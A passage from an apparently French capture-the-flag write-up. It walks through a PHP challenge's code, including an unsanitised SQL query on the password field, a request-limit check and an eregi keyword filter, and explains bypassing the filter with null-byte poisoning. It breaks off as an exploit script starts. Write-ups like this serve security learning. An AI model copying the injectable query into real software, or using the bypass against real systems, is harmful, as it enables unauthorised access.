&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;Wrong access&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
La à première vue à voir les mots matched ET les / * on se dit que le bypass est pas forcément gagné ... on reviendra dessus par la suite ;-).&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Viens ensuite une autre problématique qui est les 120 requêtes autorisées!&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Oui, si on regarde attentivement la ligne 25 on vois que si on dépasse la limite des 120 alors notre SESSIONID sera réinitialisé et donc le password sera changé par appel à la fonction&amp;nbsp;&lt;span style=&quot;background-color: white; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;RandomString&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;)&lt;/span&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$max_times&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$max_times&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;unset&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;RandomString&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
A cela viendra s&#39;ajouter la vérification d&#39;ip qui dans le cas d&#39;une exploitation en bind aura un rôle primordial car seul une fois cette condition supplémentaire remplis la fonction renverra True, tout les reste passera systématiquement en False ce qui, j&#39;ai pu le constater est pas forcément si évident notamment a cause des url_encode:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$res&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;ip&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;REMOTE_ADDR&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;True&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;False&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
b) Vulnérabilité:&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
elle se trouve ligne 49:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$query&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;select * from rms_120_pw where (ip=&#39;&lt;span class=&quot;es4&quot; style=&quot;color: #006699; font-weight: bold;&quot;&gt;$_SERVER[REMOTE_ADDR]&lt;/span&gt;&#39;) and (password=&#39;&lt;span class=&quot;es4&quot; style=&quot;color: #006699; font-weight: bold;&quot;&gt;$_POST[password]&lt;/span&gt;&#39;)&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
mais pas que!&lt;br /&gt;
En effet, l&#39;entrée utilisateur n&#39;est pas du tout bien gérée, elle n&#39;est pas &quot;sanitized&quot;.&lt;br /&gt;
Bon c&#39;est bien beau tout ça mais alors ou est l&#39;autre vulnérabilité me direz vous ?&lt;br /&gt;
&lt;br /&gt;
Tout simplement dans la fonction eregi utilisé pour matcher les patterns, souvenez vous :&lt;br /&gt;
&lt;span class=&quot;kw3&quot; style=&quot;color: #990000; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;eregi&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&quot;replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
à première vue RAS et pourtant.. la page du manuel php indique qu&#39;elle n&#39;est pas case sensitive ... ok mais juste en dessous on peux y lire un gros WARNING nous indiquant qu&#39;elle est deprecated depuis php 5.3.0 et qu&#39;il est recommandé de ne pas l&#39;employer!&lt;br /&gt;
Une simple recherche et on tombe sur la liste dediffusion de PHP et au bun #44366 que voit-on ?&lt;br /&gt;
Qu&#39;eregi se bypass avec un simple Null Byte poisoning! \o/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3-&lt;u&gt;Exploitation&lt;/u&gt;:&lt;br /&gt;
Une fois ces informations récupérées on peux alors commencer à travailler notre SQLi et trés vite nous récupérions des résultats notamment grâce à un script fait à l&#39;arrache par l&#39;ami korigan (je ne donnerai pas le code ici ne lui en ayant pas parlé pi il serait pas fier je pense :P).&lt;br /&gt;
&lt;br /&gt;
Ensuite chacun (on s&#39;est retrouvé à 3 sur ce challenge) y aura été de son propre exploit : bash , python, perl ..&lt;br /&gt;
Forcément ce blog étant miens je ne posterais que mon code mais je précise que sa vue peux choquer: ce coup ci je n&#39;ai pas fait le ménage et il sera tel qu&#39;il était lors du ctf !&lt;br /&gt;
Bref, le disclaimer fait continuons!&lt;br /&gt;
&lt;br /&gt;
les premiers essais démontrait clairement que bien trop de requests étaient faites et donc impossible d&#39;espérer s&#39;authentifier grâce à ce sploit:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#!/usr/bin/perl -Uw&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
